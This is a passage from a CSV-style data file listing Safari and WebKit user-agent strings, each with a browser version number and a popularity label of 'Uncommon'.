(iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.3 (KHTML, like Gecko) Version/11.0 Mobile/15D5049a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/602.4.3 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.3\",10,Uncommon\nMozilla/5.0 (iPod; U; CPU iPhone OS 421 like Mac OS X; en-CA) AppleWebKit/533.17.9 (KHTML like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5,5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.43 (KHTML, like Gecko) Version/10.0 Mobile/14A5322e Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14D15 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/602.1.25 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.10\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ko-kr) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.1.28 (KHTML, like Gecko) Version/11.0 Safari/604.1.28\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Coast/3.21.84640 Mobile/12B411 Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/537.51.3 (KHTML, like Gecko) Version/8.0 Mobile/11A4132 Safari/9537.145\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5372a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B101 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/6.1.3 Safari/537.75.14\",6.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.0 Safari/601.1.56\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.2 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.2\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/6.2.5 Safari/537.85.14\",6.2,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/538.1 (KHTML, like Gecko) Tableau Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14G5037b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.4\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.1\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_9_5 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/602.2.8 (KHTML, like Gecko) Version/10.0 Mobile/14B55c Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A8500 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.1 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B144 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4\",6.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B147 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5368a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1 Safari/534.50\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.3 (KHTML, like Gecko) Version/11.0 Mobile/15B5078e Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7E18 Safari/528.16\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; pt-br) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15  (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.20 (KHTML, like Gecko) Version/10.0 Mobile/14E5230e Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 ( Macintosh; Intel Mac OS X 10_10_1 ) AppleWebKit/600.2.5 ( KHTML, like Gecko ) Version/8.0.2 Safari/600.2.5 ( compatible; CloudServerMarketSpider/1.0; +http://cloudservermarket.com/spider.html )\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.10 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.10\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.12 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5354b Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone Simulator; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.50 (KHTML, like Gecko) Version/9.0 Safari/601.1.50\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) adbeat.com/policy AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A5297c Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.31 (KHTML, like Gecko) Version/11.0 Mobile/15A5327g Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5345a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E188a Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.3\",10.1,Uncommon\nSafari,,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.1.2 Safari\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E8301 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (;;; en-us; Huawei-U8651S Build/U8651SV100R001USAC85B843) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A5297c Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2\",6.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/11.0 Safari/604.1.38\",11,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C153 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Uncommon\n\"Mozilla/6.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/8.0 Mobile/10A5376e Safari/8536.25\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-de) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.3.5\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A306 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A340 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.1 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.1\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/5\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\",10.1,Uncommon\nMozilla/5.0 (iPad; U; CPU OS 421 like Mac OS X; zh-CN) AppleWebKit/533.17.9 (KHTML like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5,5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.23 (KHTML, like Gecko) Version/10.1 Safari/603.1.23\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.11 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.11\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.10 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.10\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.7 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.7\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Uncommon\nMozilla/5.0 (iPod; U; CPU iPhone OS 433 like Mac OS X; zh-CN) AppleWebKit/533.17.9 (KHTML like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5,5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B208 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C202 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.14 (KHTML, like Gecko) Version/6.0.1 Safari/536.26.14\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/9.3.2 Safari/537.75.14\",9.3,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C107 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B100 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.8\",5.1,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; zh-cn) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10601.7.1 Safari/10601.7.7\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/6.1.2 Safari/537.74.9\",6.1,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.4 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.4\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.10 (KHTML, like Gecko) Version/9.1 Safari/601.5.10\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E269 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0 Safari/601.3.9\",9,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A340 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.6 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.6\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14G5037b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5370a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D169 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.2.10 (KHTML, like Gecko) Version/11.0 Mobile/15A8391 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.7 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.7\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/10.1 Mobile/15A432 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B5110e Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; es) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0(Macintosh;U;Intel Mac OS X 10_6_3;en-us;V55 Build/MASTER)AppleWebKit/534.13(KHTML,like Gecko)Version4.0 Safari/534.13\",4,Uncommon\nSafari/537.36 (Windows NT 6.2; WOW64) AppleWebKit/537.36,,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C5110b Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D20 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A345 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/6.1.4 Safari/537.76.4\",6.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B5086a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B92 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B14 3 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.1 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.6 (KHTML, like Gecko) WebClip/13604.5.6 Safari/13604.5.6\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.10 (KHTML, like Gecko) Version/10.0 Mobile/14C5077b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.13 (KHTML, like Gecko) Version/9.1 Safari/601.5.13\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B405 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Mobile/15A5304i Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G34 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A407 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Superbird/56.0.2924.87 Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 